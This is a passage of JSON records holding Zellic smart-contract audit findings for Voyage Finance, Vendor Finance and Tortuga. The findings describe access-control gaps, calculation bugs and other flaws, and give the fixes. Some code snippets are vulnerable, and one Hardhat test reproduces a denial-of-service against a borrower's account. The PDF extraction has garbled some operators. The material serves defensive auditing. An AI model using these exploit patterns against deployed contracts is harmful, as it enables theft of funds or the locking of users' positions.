+ "body": "Target: VToken.sol Category: Business Logic Likelihood: Medium Severity: High : Medium We would like to credit Voyage for finding the following critical exploit while the audit was ongoing and in its early stages. Calls to the base ERC4626 redeem(...))) can be made by anyone. Unfortunately, rede em(...))) does not implement any of the pushWithdraw(...))): function pushWithdraw(address _user, uint256 _shares) internal { unbondings[_user].shares += _shares; unbondings[_user].maxUnderlying += convertToAssets(_shares); totalUnbonding += convertToAssets(_shares); } Any calls to claim after calling redeem(...))) would result in no funds be transferred to the user. We suggest modifying redeem(...))) to accordingly incorporate the pushWithdraw(...))) functionality. Commit 2ebf6278 was indicated as containing the remediation. The issue appears to be correctly fixed in the given commit, having redeem implement the correct logic including a call to pushWithdraw. We note that the actual remediation was performed in 3320ba3c and that 2ebf6278 actually performs a minor refactoring on the lines responsible for the fix. Zellic Voyage Finance 3.11 Incorrect calculation in refundGas Target: Vault.sol Category: Business Logic Likelihood: High Severity: Medium : Medium The Vault:)refundGas function performs an incorrect calculation of the amountRefunda ble variable if the WETH amount to unwrap is greater than the available balance. The code is reported below for convenience: function refundGas(uint256 _amount, address _dst) external onlyPaymaster { uint256 amountRefundable = _amount; uint256 ethBal = address(this).balance; /) we need to unwrap some WETH in this case. if (ethBal < _amount) { IWETH9 weth9 = IWETH9(LibVaultStorage.ds().weth); uint256 balanceWETH9 = weth9.balanceOf(address(this)); uint256 toUnwrap = _amount - ethBal; /) this should not happen, but if it does, we should take what we can instead of reverting if (toUnwrap > balanceWETH9) { weth9.withdraw(balanceWETH9); amountRefundable = amountRefundable - toUnwrap - balanceWETH9 ; } } else { weth9.withdraw(toUnwrap); } /) [code continues...))] Consider the following numerical example: _amount is 100 ethBal is 60 balanceWETH9 is 30 toUnwrap will be calculated as 100 - 60 = 40 amountRefundable will be calculated as 100 - 40 - 30 = 30, instead of the ex- pected 90 Zellic Voyage Finance The function will refund to the treasury less than the expected amount. Fix the calculation by applying parentheses around toUnwrap - balanceWETH9 on the line calculating amountRefundable. Voyage has followed the recommendation and corrected the calculation in commit 6e44df5f. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.12 Missing access control on postRelayedCall leading to ETH transfer from Vault", + "labels": [ + "Zellic" + ], + "body": "Target: VoyagePaymaster.sol Category: Business Logic Likelihood: High Severity: High : Medium The VoyagePaymaster:)postRelayedCall function is lacking any access control check. The function invokes refundGas on a vault supplied by the caller to refund a caller controlled amount of ETH to the treasury address. function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, GsnTypes.RelayData calldata relayData ) external virtual override { address vault = abi.decode(context, (address)); /) calldata overhead = 21k + non_zero_bytes * 16 + zero_bytes * 4 /) ~) 21k + calldata.length * [1/3 * 16 + 2/3 * 4] uint256 minimumFees = (gasUseWithoutPost + 21000 + msg.data.length * 8 + REFUND_GAS_OVERHEAD) * relayData.gasPrice; uint256 refund = vault.balance >= minimumFees ? minimumFees : minimumFees + 21000 * relayData.gasPrice; /) cover cost of unwrapping WETH IVault(vault).refundGas(refund, treasury); } A malicious user can invoke postRelayedCall to transfer ETH from any vault to the treasury address. Zellic Voyage Finance Apply strict access control to the function. Commit 791b7e63 was indicated as containing the remediation. The commit correctly fixes the issue by enforcing access control to postRelayedCall. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.13 Functions cannot be removed during upgrades", + "labels": [ + "Zellic" + ], + "body": "Target: DiamondVersionFacet.sol Category: Business Logic Likelihood: Medium Severity: Medium : Medium In getUpgrade(...))), bytes4[] storage existingSelectors = LibAppStorage .ds() .upgradeParam .existingSelectors[msg.sender]; it is populated with null values. Therefore, the following loop to set the remove functions will never initiate: for (uint256 i = 0; i < existingSelectors.length; ) { if (!newSelectorSet[existingSelectors[i]]) { LibAppStorage.ds().upgradeParam.selectorsRemoved[i].push( existingSelectors[i] ); } And the final IDiamondCut.FacetCut[] returned will not contain any of the remove in- structions. It will not be possible to remove functions from Voyage\u2019s interface using the intended functionality. It would be possible, however, to replace them with functions that do not perform any operations. This approach will, however, result in a very cluttered and confusing interface and should be avoided. Populate existingSelectors by populating adding existingSelectors.push(selector) to the following: Zellic Voyage Finance for (uint256 i = 0; i < currentFacets.length; ) { IDiamondLoupe.Facet memory facet = currentFacets[i]; for (uint256 j = 0; j < facet.functionSelectors.length; ) { bytes4 selector = facet.functionSelectors[j]; newSelectors.push(selector); existingSelectorFacetMap[selector] = facet.facetAddress; existingSelectors.push(selector); unchecked { ++j; } } unchecked { ++i; } } The upgrade functionality has been dropped entirely from the project, the issue has therefore been remediated. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.14 Missing access control on multiple PaymentsFacet functions", + "labels": [ + "Zellic" + ], + "body": "Target: PaymentsFacet.sol Category: Business Logic Likelihood: High Severity: High : Low Multiple functions in PaymentsFacet are lacking any access control checks: unwrapWETH9 unwraps and sends WETH owned by Voyage to an arbitrary ad- dress wrapWETH9 wraps all the ETH balance owned by Voyage into WETH sweepToken transfers any ERC20 token owned by Voyage to an arbitrary address refundETH transfers all the ETH balance owned by Voyage to msg.sender Those functions can be used to steal or transfer ETH and ERC20 assets held by the main Voyage contract. The contract only holds assets temporarily while process- ing transactions (e.g., buyNow), so an attacker cannot generally gain anything by using them. However, since there is no reentrancy guard, there is a risk of an attacker finding a way to reenter the contract while the contract is holding some assets. Since these functions are not meant to be publicly exposed, they represent an un- necessary risk. We recommend to enforce access control to restrict usage only to the intended user. Commit 9a2e8f42 was indicated as containing the remediation. The issue is correctly fixed in the given commit. The four functions have been marked as internal. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.15 Multicall can be used to call buyNow with untrusted msg.va lue", + "labels": [ + "Zellic" + ], + "body": "Target: Multicall.sol, LoanFacet.sol Category: Coding Mistakes Likelihood: High Severity: High : Low The main Voyage contract also exposes the methods of the Multicall contract via this chain: Voyage is an instance of Diamond (by inheritance) Diamond allows to delegatecall any registered facet \u2013 One of the facets is PaymentsFacet PaymentsFacet is multicall by inheritance \u2013 Multicall has a multicall method that performs an arbitrary amount of delegatecalls to address(this), with arbitrary calldata Any function called by multicall must not trust msg.value, since Multicall allows to perform multiple calls in the same transaction, preserving the same msg.value. A function trusting msg.value might assume that the contract has received msg.value ETH from the caller and can spend it exclusively, which is not true in case the function is called multiple times in the same transaction by leveraging multicall. Multicall allows to call any method exposed by any Voyage facet, including LoanFacet: :buyNow, which assumes that msg.value ETH were sent by the caller as down payment for the requested NFT. The buyNow function assumes the caller has sent msg.value ETH as down payment for the NFT. Luckily, an attacker cannot exploit this flawed assumption and use funds from the protocol pools to buy NFTs at a reduced price, as the contract will not have enough ETH to buy the NFT, causing a revert. Adopt an explicit allowlist to limit which functions can be invoked by Multicall and ensure msg.value is not used by any of these functions. The buyNow function is the only one using msg.value in the commit under review. Zellic Voyage Finance Multicalls and self permit have been removed from the code base entirely, the issue has therefore been remediated. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.16 The maxWithdraw functionality is broken", + "labels": [ + "Zellic" + ], + "body": "Target: LiquidityFacet.sol Category: Business Logic Likelihood: High Severity: Low : Low Depositors will be unable to use the intended maxWithdraw functionality in withdra w(...))): uint256 userBalance = vToken.maxWithdraw(msg.sender); uint256 amountToWithdraw = _amount; if (_amount == type(uint256).max) { amountToWithdraw = userBalance; } BorrowState storage borrowState = LibAppStorage.ds()._borrowState[ _collection ][reserve.currency]; uint256 totalDebt = borrowState.totalDebt + borrowState.totalInterest; uint256 avgBorrowRate = borrowState.avgBorrowRate; IVToken(vToken).withdraw(_amount, msg.sender, msg.sender); Users will need to make withdraw requests for exact amounts in order to retrieve all of their deposited funds. If the _amount provided in the function call exceeds the available balance, the function will fail with no clear error message. This can create a frustrating and unexpected user experience. Change IVToken(vToken).withdraw(_amount, msg.sender, msg.sender); to IVToken(vToken).withdraw(amountToWithdraw, msg.sender, msg.sender); Zellic Voyage Finance Also, modify the _amount check to the following: if (_amount == type(uint256).max || _amount > userBalance) { amountToWithdraw = userBalance; } Commits aac23ae9 and 0e00c990 were indicated as containing the remediation. The commits correctly fix the issue by applying the suggested remediations. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.17 Calls to previewBuyNow(...))) do not return correct order previews", + "labels": [ + "Zellic" + ], + "body": "Target: LoanFacet.sol Category: Business Logic Likelihood: High Severity: Low : Low The implemented functionality to preview NFT orders is incomplete. For example, the call below does not pass the _data and _tokenIds, which are required to determine the totalPrincipal. As it currently stands, even the most critical fields like totalPrincipal are not populated: function previewBuyNowParams(address _collection) public view returns (ExecuteBuyNowParams memory) { ExecuteBuyNowParams memory params; ReserveData memory reserveData = LibLiquidity.getReserveData( _collection ); ReserveConfigurationMap memory reserveConf = LibReserveConfiguration .getConfiguration(_collection); (params.epoch, params.term) = reserveConf.getBorrowParams(); params.nper = params.term / params.epoch; params.outstandingPrincipal = params.totalPrincipal - params.totalPrincipal / params.nper; There is a high probability that users would rely on the intended functionality of prev iewBuyNow(...))) to improve their user experience. Currently, the operation is non-functional and users would not be able to preview orders. Zellic Voyage Finance This could discourage user engagement. We suggest fully specifying the desired functionality in previewBuyNow(...))) and then updating the function accordingly. For example, parameters like _data and _tokenId should be passed to return the purchase price of the NFT and the average trading price of the NFTs in the collection. This would further allow fields like params.totalPrincip al to be populated and hence result in correct interest rate calculations. Voyage has refactored the function to populate a new struct PreviewBuyNowParams in commit f3db2541. It has been verified that the struct has been populated in the fol- lowing commits 2f4da9c9 and e1892115. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.18 Public approve function allows to give approval for any ERC20 tokens held by Voyage", + "labels": [ + "Zellic" + ], + "body": "Target: PeripheryPayments.sol Category: Coding Mistakes Likelihood: High Severity: Low : Low The PeripheryPayments:)approve function does not perform any access control and can be used to invoke approve on any token on behalf of the Voyage contract. function approve( IERC20 token, address to, uint256 amount ) public payable { token.safeApprove(to, amount); } Furthermore, we have two additional observations about this function: It is unnecessarily marked as payable. It allows to call approve on any contract, not just ERC20; since ERC721 tokens also have a compatible approve function, PeripheryPayments:)approve could be used to invoke approve on ERC721 contracts as well. At the time of this review, the Voyage contract does not hold any ERC721 assets, so this specific issue has no impact yet. An attacker can use this function to invoke approve on any contract on behalf of Voy- age, with arbitrary arguments. This can be exploited to gain approval for any ERC20 or ERC721 token owned by Voyage. At the time of this review, the main Voyage contract only temporarily holds assets (e.g., while processing buyNow), so this could only be ex- ploited if an external call to a malicious contract was to be performed while Voyage is in possession of an asset. While this issue might not be exploitable in the code as reviewed, we strongly rec- ommend against exposing this function, as approval for a token has a persistent effect that might become relevant with a future code update. Zellic Voyage Finance Apply strict access control to this function, allowing only calls from address(this). Commit 9a2e8f42 was indicated as containing the remediation. The commit correctly fixes the issue by moving the approve function a new LibPayments library as an internal function. The subsequent commit 9a2e8f42 removes the PeripheryPayments.sol file entirely, leaving only the library version of the function. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.19 Junior tranche receives interest with zero risk exposure", + "labels": [ + "Zellic" + ], + "body": "Target: LibLoan.sol Category: Business Logic Likelihood: Low Severity: Low : Low There are no checks to confirm non-zero risk exposure of the junior tranche during the distribution of interest. Interest is sent to the junior tranche even if there are no assets deposited. The interest is not entirely lost and can be recovered through calls to transferUnderlyingTo(...))) made by the admin. We would like to further note that the distribution of IR payments between junior and senior tranches is fixed and not a risk-weighted exposure of the tranches. This creates a dynamic where the JR tranche may only contain $1 backing a $1MM NFT and still receive a fixed share of the interest. Such an opportunity would attract other investors. In theory, they would support the junior tranche until an equilibrium level is found that reflects the market appetite for IR returns and the credit profile of the protocol. We would like Voyage to please confirm this is the dynamic they seek. In order for this dynamic to be realized, the following recommendation should be observed. Add a check to ensure that the junior tranche has non-zero exposure to assets paying interest in distributeInterest(...))). Voyage has included checks to ensure that the balance of the jr tranche exceeds an optimal liquidity ratio in calls to buyNow in commit 76f21d00. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.20 Missing validation check on ERC20 transfer", + "labels": [ + "Zellic" + ], + "body": "Target: loanFacet.sol Category: Business Logic Likelihood: N/A Severity: Low : Informational Currently liquidate(...))) does not revert the transaction if the following ERC20 tran sfer fails: if (param.totalDebt > discountedFloorPriceInTotal) { param.remaningDebt = param.totalDebt - discountedFloorPriceInTotal; } else { uint256 refundAmount = discountedFloorPriceInTotal - param.totalDebt; IERC20(param.currency).transfer(param.vault, refundAmount); param.receivedAmount -= refundAmount; } The call should never fail as the funds will always be in the account. Add a check and revert on a false return value from the ERC20 transfer call. Commit 654a9242 was indicated as containing the remediation. The commit correctly fixes the issue by using safeTransfer instead of transfer, which does revert if the transfer fails. Zellic Voyage Finance 3.21 Lack of reentrancy guards Target: Voyage Category: Coding Mistakes Likelihood: N/A Severity: Medium : Informational Most of the public and external functions lack reentrancy guards. Applying a guard to all functions that are not intended to be reentrant greatly simplifies reasoning about the actions that a malicious contract could perform on Voyage and reduces the attack surface. The lack of reentrancy guards increases the attack surface reachable by any malicious contract that could be invoked by Voyage. We recommend applying guards to all functions that are not designed to be reentrant. We note that the diamond pattern adopted by Voyage might require a custom imple- mentation of reentrancy guards, in order to use the shared diamond storage contract to store the flag tracking the contract state. We further note that the diamond pattern requires allowing direct self-reentrancy, slightly limiting how restrictive a reentrancy guard could be. Voyage has indicated they have applied reentrancy gaurds to the majority of external functions. They have further clarified that they beleive that all external functions which do not have reentrancy gaurds are not vulnerable. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Denial of service on behalf of borrower", + "labels": [ + "Zellic" + ], + "body": "Target: LendingPool, PositionTracker Category: Coding Mistakes Likelihood: High Severity: High : High In LendingPool, the function borrowOnBehalfOf() enables a user to deposit collateral to the lending pool and sends the borrowed tokens to another user. Any user can do this, and any user can also pay back the loan on behalf of another user. The result is that a borrow position is opened in the PositionTracker contract on behalf of the borrower when a loan is taken, and this position is supposed to be closed when the loan and fees are paid back. When an attacker borrows zero tokens on behalf of a victim user, a borrow position is created for the victim user with debt equal to zero. Attempting to repay a loan when there is no debt will result in a reverting NoDebt() error. A similar situation can arise if a very small loan is taken on behalf of a victim user, but then they at least get some tokens for it, and they are able to unlock their account by paying it back with some fees. The borrow position becomes impossible to close, and the victim cannot borrow any- thing from that pool instance forever. A test case that reproduces the scenario has been implemented within the existing test framework. This test should not pass after remediation. it(\"[Bug1] - DoS on behalf of user\", async function () { await usdc.mint(pool.address, USDC_1000); await weth.mint(userA.address, WETH_5); await weth.connect(userA).approve(pool.address, WETH_5); let feeRate = await feesManager.getCurrentRate(pool.address); await pool.connect(userA).borrowOnBehalfOf(userB.address, 0, feeRate); await expect( pool.connect(userA).repayOnBehalfOf(userB.address, 0) Zellic Vendor Finance ).to.be.revertedWithCustomError(LendingPoolImplementation, \"NoDebt\"); await expect( pool.connect(userA).borrowOnBehalfOf(userB.address, WETH_5, feeRate) ).to.be.revertedWithCustomError(positionTracker, \"PositionIsAlreadyOpen\"); expect((await pool.debts(userB.address)).debt).to.equal(0); }); To prevent errors and potential abuse, we recommend disallowing loans of zero to- kens. Users may accidentally input zero-valued parameters or attempt to exploit the system by depositing an insignificant amount and blocking a victim\u2019s account un- til they pay it back with interest. To address this, consider setting a minimum loan amount that users must borrow or adding other safeguards to ensure the integrity of the lending system. Vendor Finance acknowledged this finding and implemented a fix in commit c5331198. Zellic Vendor Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Vendor Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Hardcoded expiry and protocolFee", + "labels": [ + "Zellic" + ], + "body": "Target: LendingPool, FeesManager Category: Coding Mistakes Likelihood: Low Severity: Informational : Low The LendingPool.setPoolRates() is a wrapper function for FeesManager.setPoolRates( ) that sends expiry and protocolFee to the FeesManager contract by passing the global poolSettings struct. This makes the parameters uncontrollable by the pool owner, but the values are not verified in any meaningful way in the receiver (FeesManager). A risk is that an upgrade to LendingPool changes or forgets this calling convention, which makes FeesManager\u2019s expiry or protocolFee go out of sync with the LendingPool exp iry time. function setPoolRates(bytes32 _ratesAndType) external { onlyOwner(); onlyNotPaused(); feesManager.setPoolRates(address(this), _ratesAndType, poolSettings.expiry, poolSettings.protocolFee); } The scenario is highly unlikely to happen in practice, as this is a central part of the contract functionality, and we expect it will be tested. So while it would be impactful if it happens, the impact has been adjusted to Low to reflect its unlikeliness. If the expiry suddenly changes to an invalid value (e.g., in the past or distant future), the calculation FeesManager.getCurrentRate(pool) will misbehave. This can lead to the rate suddenly becoming 0 or the wrong decay being calculated, or it can have no discernable effect. function getCurrentRate(address _pool) external view returns (uint48) { RateData memory rateData = poolFeesData[_pool]; if (rateData.rateType =) FeeType.NOT_SET) revert NotAPool(); if (block.timestamp > 2*)48 - 1) revert InvalidExpiry(); /) Per auditors suggestion if timestamp will overflow. if (rateData.poolExpiry <) block.timestamp) return 0; /) Expired pool. if (rateData.rateType =) FeeType.LINEAR_DECAY_WITH_AUCTION) { Zellic Vendor Finance return computeDecayWithAuction(rateData, rateData.poolExpiry); }else if(rateData.rateType =) FeeType.FIXED){ return rateData.startRate; } revert InvalidType(); } Looking at the contracts in isolation can be a good way to avoid upgradable mistakes in the future. We recommend that FeesManager implement basic sanity checks on the protocolFee and expiry time before accepting them. These checks can help prevent potential errors from occurring down the line. This issue has been acknowledged by Vendor Finance. Zellic Vendor Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Vendor Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Lack of approved borrower check during rollover to the pri- vate pool", + "labels": [ + "Zellic" + ], + "body": "Target: LendingPool Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The PoolFactory contract allows any caller to create private and public pools. A private pool contains a list of approved borrowers managed by the pool owner. If users lend funds using the borrowOnBehalfOf() function from the private pool, the transactions from the nonapproved users will be rejected. Public pool borrowers can roll over to a private pool using the rollInFrom() function if the pool meets the following conditions: The private pool uses the same lendToken and colToken as the public pool. The private pool has the same owner as the public pool. The expiry time of the new pool is more than the expiry time of the current pool. The rollInFrom() function does not check the new borrowers if a pool is private, so any existing borrowers from public pools can roll over to the private pools. This allows bypassing the prohibition on getting a loan by nonwhitelisted users. We recommend adding a check that msg.sender is an allowed borrower to the rollI nFrom function. function rollInFrom( address _originPool, uint256 _originDebt, uint48 _rate ) external nonReentrant { [...))] if ((settings.borrowers.length > 0) &) (!allowedBorrowers[msg.sender])) revert PrivatePool(); /) @audit add this check Zellic Vendor Finance if (settings.pauseTime <) block.timestamp) revert BorrowingPaused(); if (effectiveBorrowRate > _rate) revert FeeTooHigh(); onlyNotPaused(); if (block.timestamp > settings.expiry) revert PoolExpired(); /) Can not roll into an expired pool LendingPoolUtils.validatePoolForRollover( originSettings, settings, _originPool, factory ); [...))] } Vendor Finance acknowledged this finding and implemented a fix in commit afb48cc6. Zellic Vendor Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Vendor Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.4 The lenderTotalFees can be mistakenly reset", + "labels": [ + "Zellic" + ], + "body": "Target: LendingPool Category: Coding Mistakes Likelihood: Low Severity: Low : Low The withdraw function allows the pool owner to withdraw the lendToken to their ad- dress. If the pool uses a strategy, funds will first be withdrawn from the strategy contract before being transferred to the pool owner. The caller can specify the amount to withdraw by passing the _withdrawAmount pa- rameter. If the _withdrawAmount value is equal to type(uint256).max, then all avail- able tokens in the strategy will be withdrawn, and the actual withdrawn amount will be reflected in the balanceChange value. If the _withdrawAmount value is less than the maximum, then the balanceChange value will equal the _withdrawAmount value passed by the caller. If the owner attempts to withdraw tokens greater than the lenderTotalFees, then the lenderTotalFees will be reset to zero. Otherwise, the lenderTotalFees will be de- creased by the _withdrawAmount value. function withdraw( uint256 _withdrawAmount ) external nonReentrant { GeneralPoolSettings memory settings = poolSettings; onlyOwner(); onlyNotPaused(); if (block.timestamp > settings.expiry) revert PoolExpired(); /) Use collect after expiry of the pool uint256 initLendTokenBalance = settings.lendToken.balanceOf(address(this)); uint256 balanceChange; if (address(strategy) !) address(0)) { strategy.beforeLendTokensSent(_withdrawAmount); /) Taxable tokens should not work with strategy. balanceChange = settings.lendToken.balanceOf(address(this)) - initLendTokenBalance; if (_withdrawAmount !) type(uint256).max &) balanceChange < _withdrawAmount) revert FailedStrategyWithdraw(); Zellic Vendor Finance } else { balanceChange = _withdrawAmount; } lenderTotalFees = _withdrawAmount < lenderTotalFees ? lenderTotalFees - _withdrawAmount : 0; GenericUtils.safeTransfer(settings.lendToken, settings.owner, balanceChange); emit Withdraw(msg.sender, _withdrawAmount); } The lenderTotalFees can be mistakenly reset in certain situations. 1. If the strategy is not zero and the caller passes the withdrawAmount equal to type(uint256).max, then the _withdrawAmount will be greater than the lenderTot alFees, regardless of how many tokens were actually withdrawn. 2. If the strategy is zero and the caller passes the withdrawAmount equal to type(u int256).max, the transaction will not be reverted inside the GenericUtils.safe Transfer function. This is because, in this case, the GenericUtils.safeTransfer function will transfer the current balance, regardless of whether it is less than the lenderTotalFees. function safeTransfer( IERC20 _token, address _account, uint256 _amount ) external{ uint256 bal = _token.balanceOf(address(this)); if (bal < _amount) { _token.safeTransfer(_account, bal); emit BalanceChange(address(_token), _account, false, bal); } else { _token.safeTransfer(_account, _amount); emit BalanceChange(address(_token), _account, false, _amount); } } Zellic Vendor Finance 3. If the strategy is zero and the caller passes a withdrawAmount that is greater than the lendToken balance of contract. This could result in the lenderTotalFees being mistakenly reset, just as described in the second point. If the lenderTotalFees is mistakenly reset, more lend funds will be available to bor- rowers than expected by the owner. When the pool uses a strategy, it is important to compare the lenderTotalFees with the balanceChange value before making any updates. If the balanceChange value is greater than the lenderTotalFees, then the lenderTotalFees should be reset to zero. On the other hand, if the balanceChange value is less than or equal to the lenderTotalFees, then the lenderTotalFees should be decreased by the balanceChange value. If the pool does not use a strategy, then the current lendToken balance of the contract should be obtained and compared with the _withdrawAmount. If the _withdrawAmoun t is more than the current balance, then _withdrawAmount should be updated to the balance value. Only then can the lenderTotalFees be compared and reduced if the _withdrawAmount is less than lenderTotalFees, or reset if it is not. Vendor Finance acknowledged this finding and implemented a fix in commit b85e552f. Zellic Vendor Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Vendor Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Missing test coverage", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple Category: Code Maturity Likelihood: N/A Severity: Low : Informational While the overall test coverage of the project is very good, there are some critical functionalities that have not been fully tested. Specifically, there is a lack of negative test cases, which are essential for ensuring the platform\u2019s resilience to unexpected inputs and edge cases. As such, it is recommended that the development team focus on writing negative test cases for critical functionalities that have not been fully tested. These test cases can be relatively short and quick to write and execute, but they are essential for identifying potential vulnerabilities and ensuring that the platform is able to handle unexpected situations. The threat model section of this report will mention some missing test coverage, but here are some highlights for critical functionality: FeesManager-setPoolRates()->validateParams() PoolFactory->grantOwnership() and claimOwnership() PoolFactory->deployPool(), check that all reverts work as expected Multiple functions that have the onlyOwnerORFirstResponder() modifier are only verified with the owner. Testing with the least amount of privileges is better here. Even minor missing test cases may lead to large mistakes during future code changes. Comprehensive test coverage is essential to minimize the risk of errors and vulnera- bilities. It helps to identify potential issues early, reduce debugging, and increase the reliability of the platform. Prioritizing test coverage for major functionalities and edge cases is crucial for ensuring a robust and reliable platform. Implement missing negative test cases for the most critical business logic (ownership transfer, special privilege functions, pausing and unpausing, etc.). Zellic Vendor Finance Vendor Finance expanded the test suite by writing additional tests for critical func- tionalities in commits 1f81d121, 6b1b59e3 and ff44da5c. Zellic Vendor Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Vendor Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Tortuga coin initialization", + "labels": [ + "Zellic" + ], + "body": "Target: tortuga::initialize_tortuga_liquid_staking Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The initialize_tortuga_liquid_staking function calls coin:)initialize to instanti- ate the Coin resource. However, within the function body of coin:)initialize is an assertion statement that the creator of the resource matches the deploying package\u2019s address. assert!( coin_address() =) account_addr, error:)invalid_argument(ECOIN_INFO_ADDRESS_MISMATCH), ); Users would not be able to access this function and not deploy their own version of StakedAptosCoin. We recommend making this function only accessible for Tortuga\u2019s address. Move Labs fixed this issue in commit ef89a88. Zellic Move Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Protocol configurations", + "labels": [ + "Zellic" + ], + "body": "Target: tortuga::stake_router.move Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium The following setter functions configure the protocol but have no input validation: se t_min_transaction_amount, set_reward_commission, and set_cooldown_period. public entry fun set_reward_commission( tortuga: &signer, value: u64 ) acquires StakingStatus { let staking_status = borrow_global_mut(signer:)address_of(tortuga)); staking_status.reward_commission = value; } public entry fun set_cooldown_period( tortuga: &signer, value: u64 ) acquires StakingStatus { let staking_status = borrow_global_mut(signer:)address_of(tortuga)); staking_status.cooldown_period = value; } public entry fun set_min_transaction_apt_amount( tortuga: &signer, value: u64 ) acquires StakingStatus { let staking_status = borrow_global_mut(signer:)address_of(tortuga)); staking_status.min_transaction_apt_amount = value; } This could pose as a centralization risk and allow impractical configuration values. Zellic Move Labs For example, setting the minimum transaction amount too high could inhibit new users from entering the protocol, and setting the reward commission too high mistakingly would inhibit validators from being able to acquire reasonable amounts of delegations. We recommend adding upper bound checks on these functions to allow for a rea- sonable max threshold. Move Labs fixed this issue in commit ef89a88. Zellic Move Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Payouts round down", + "labels": [ + "Zellic" + ], + "body": "Target: tortuga::delegation_state Category: Coding Mistakes Likelihood: Medium Severity: Low : Low It is possible to perform an economically impractical, griefing-style attack that abuses the rounding down behavior of mul_div in disperse_all_payouts to ensure only those with a relatively high number of shares can receive a payout: let payout_value = math:)mul_div( delegator_shares_for_payout, reserve_balance, reserved_share_supply, ); If the reserve_balance is low enough, delegators with few shares would receive zero payout while delegators with many shares would receive some. Dust is refunded to the reserve at the end of disperse_all_payouts, meaning repeated, quick calls to dis perse_all_payouts would result in only high-value delegators getting payouts. Malicious, high-value delegators (i.e., those with many shares) could cause lower- value delegators to not receive any payouts. A potential solution could be to delay payout until a minimum reserve balance is met. Move Labs fixed this issue in commit ef89a88. Zellic Move Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Centralization risk in minimum delegation amount", + "labels": [ + "Zellic" + ], + "body": "Target: delegation::delegation_service Category: Business Logic Likelihood: Medium Severity: Low : Low The set_min_delegation_amount function allows pool owners to set an arbitrary value for the minimum delegation amount without any constraints. So, a pool owner could set the value to the maximum u64, effectively making it impossible for anyone except the owner or protocol to delegate APT to a managed_stake_pool. public entry fun set_min_delegation_amount(pool_owner: &signer, value: u64) acquires ManagedStakePool { let managed_pool_address = signer:)address_of(pool_owner); let managed_stake_pool = borrow_global_mut(managed_pool_address); managed_stake_pool.min_delegation_amount = value; } A pool owner could set the value to the maximum u64, effectively making it impossible for anyone except the owner or protocol to delegate APT to a managed_stake_pool. Set a hardcoded maximum value for the min_delegation_amount. Move Labs fixed this issue in commit ef89a88. Zellic Move Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Precision loss in reward rate calculation", + "labels": [ + "Zellic" + ], + "body": "Target: oracle::validator_states Category: Coding Mistakes Likelihood: Informational Severity: Informational : Informational When calculating the effective reward rate, the effective_reward_rate function uses an order of operations that is not ideal; we recommend multiplying before dividing in cases where there is little risk of overflow to improve calculation precision. The effective reward rate may be slightly lower than intended. Change the order of the following operations: fun effective_reward_rate( stats_config: &StatsConfig, rewards: u128, balance_at_last_update: u128, time_delta: u128, ): u128 { (rewards * stats_config.rate_normalizer / balance_at_last_update) * stats_config.time_normalizer / time_delta (rewards * stats_config.rate_normalizer*stats_config.time_normalizer)/ (balance_at_last_update * time_delta) } In response to this finding, Move Labs noted that: We have two normalizers just so that we can have double control over preci- sion. rate_normalizer will be as large as possible that still ensures no overflows Zellic Move Labs in the first mul_div. Then time_normalizer could be any other reasonable value for precision. Multiplying the normalizers first, as in the recommendation is the same as using just one normalizer. We are hoping to get additional precision if necessary using two normalizers. Zellic Move Labs 4 Formal Verification The MOVE prover allows for formal specifications to be written on MOVE code, which can provide guarantees on function behavior. During the audit period, we provided Move Labs with Move prover specifications, a form of formal verification. We found the prover to be highly effective at evaluating the entirety of certain functions\u2019 behavior and recommend the Move Labs team to add more specifications to their code base. One of the issues we encountered was that the prover does not support recursive code yet. We suggest replacing the recursive functions, specifically the math:)pow functions to a loop form so additional specs can be written on the project. The following is a sample of the specifications provided. 4.1 tortuga::stake_router Verifies the result is a multiplication-divide: spec calc_shares_to_value { requires t_apt_supply !) 0; aborts_if t_apt_supply < num_shares; ensures result <) MAX_U64; ensures result =) num_shares * total_worth / t_apt_supply; } Verifies the following resources are created upon 